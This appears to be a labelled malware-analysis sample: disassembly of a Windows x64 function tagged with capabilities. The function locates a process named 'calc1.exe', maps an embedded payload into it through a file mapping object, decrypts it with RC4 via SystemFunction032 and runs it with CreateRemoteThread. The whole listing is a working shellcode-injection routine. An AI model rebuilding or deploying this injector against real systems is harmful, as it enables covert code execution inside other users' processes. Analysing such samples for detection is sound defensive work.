Function at 0x1400010d0
Capabilities:
Create thread
Encrypt data using rc4 via systemfunction032
Inject shellcode using a file mapping object

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor r15d, r15d
lea rcx, str.NTDLL.DLL
mov esi, r15d
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x80], r15d
mov r14d, r15d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x14000114a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_getting_function_pointer__d_n
call fcn.140001070
lea eax, [rdi - 1]
jmp 0x1400015bb
xor edx, edx
mov qword [rsp + 0xb0], rbx
lea r9, [rsp + 0x58]
xor r8d, r8d
lea ecx, [rdx + 5]
call rdi
mov ebx, dword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1400011a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.failed_to_allocate_system_proc_info_size__d_n
call fcn.140001070
lea eax, [rbx - 1]
jmp 0x1400015b3
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x80]
mov qword [rsp + 0xb8], rbp
mov rdx, rbx
mov ecx, 5
mov rbp, rbx
call rdi
test eax, eax
je 0x1400011df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_opening_process_info__d_n
call fcn.140001070
jmp 0x1400015a6
mov rdx, qword [rbx + 0x40]
lea rcx, str.system_proc_info__s
call fcn.140001010
movups xmm0, xmmword [str.calc1.exe]
mov eax, dword [0x140003418]
mov dword [rsp + 0x50], eax
movups xmmword [rsp + 0x40], xmm0
cmp word [rbx + 0x38], si
je 0x140001238
mov rax, qword [rbx + 0x40]
lea r8, [rsp + 0x40]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001234
add rax, 2
test ecx, ecx
jne 0x140001220
test edx, edx
je 0x140001243
mov eax, dword [rbx]
test eax, eax
je 0x140001294
add rbx, rax
jmp 0x140001205
xor edx, edx
lea rcx, str.process_handle_before_open__p_n
call fcn.140001070
mov esi, dword [rbx + 0x50]
xor edx, edx
mov r8d, esi
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rax
lea rcx, str.process_handle_after_open__p_n
mov r14, rax
call fcn.140001070
test r14, r14
jne 0x140001294
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_opening_process__d__n
call fcn.140001070
jmp 0x1400015a6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x14000159a
test r14, r14
je 0x14000159a
mov rdx, r14
lea rcx, str.process_found__PID___p_n
call fcn.140001070
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x20], 0x1cc
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbp, rax
test rax, rax
jne 0x140001309
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_opening_file_mapping_handle__d__n
call fcn.140001070
jmp 0x1400015a6
xor r9d, r9d
mov qword [rsp + 0x20], 0x1cc
xor r8d, r8d
mov rcx, rbp
lea edx, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x140001346
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_opening_local_map_address__d__n
call fcn.140001070
jmp 0x1400015a6
lea rbx, [0x140005080]
mov esi, 3
mov rcx, rax
mov rdx, rbx
mov eax, esi
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001360
movups xmm0, xmmword [rdx]
mov dword [rsp + 0x38], 0xffffffff
xor r9d, r9d
mov dword [rsp + 0x30], 0x40
xor r8d, r8d
movups xmmword [rcx], xmm0
mov dword [rsp + 0x28], r15d
movups xmm1, xmmword [rdx + 0x10]
mov qword [rsp + 0x20], r15
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
mov rax, qword [rdx + 0x40]
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
mov rdx, r14
mov dword [rcx + 0x48], eax
mov rcx, rbp
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_MapViewOfFileNuma2]
mov rbp, rax
test rax, rax
jne 0x14000142c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_opening_remote_map_address__d__n
call fcn.140001070
jmp 0x1400015a6
mov rdx, rbp
lea rcx, str.value_of_remote_address__p_n
call fcn.140001070
lea rax, [0x140005250]
mov dword [rsp + 0x60], 0x10
lea rcx, str.Advapi32
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x64], 0x10
mov dword [rsp + 0x70], 0x1cc
mov dword [rsp + 0x74], 0x1cc
mov qword [rsp + 0x78], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call rax
test eax, eax
je 0x1400014b3
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001070
lea rcx, str.error_decrypting_payload_n
jmp 0x1400015a1
mov rdx, rbx
lea rcx, str.decrypted_payload__p__n
call fcn.140001070
lea rdi, [rdi + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rdi - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rdi - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rdi - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rdi - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rdi - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rdi - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rdi - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rdi - 0x10], xmm1
sub rsi, 1
jne 0x1400014c2
movups xmm0, xmmword [rbx]
mov qword [rsp + 0x30], r15
mov r9, rbp
mov dword [rsp + 0x28], r15d
xor r8d, r8d
movups xmmword [rdi], xmm0
xor edx, edx
mov rcx, r14
movups xmm1, xmmword [rbx + 0x10]
mov qword [rsp + 0x20], r15
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rdi + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rdi + 0x30], xmm1
mov rax, qword [rbx + 0x40]
mov qword [rdi + 0x40], rax
mov eax, dword [rbx + 0x48]
mov dword [rdi + 0x48], eax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140001582
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_opening_remote_thread__d_n
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
jmp 0x1400015a6
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400015ab
lea rcx, str.process_not_found
call fcn.140001070
mov eax, 0xffffffff
mov rbp, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1400015f0
mov rsi, qword [rsp + 0xc0]
add rsp, 0x90
pop r15
pop r14
pop rdi
ret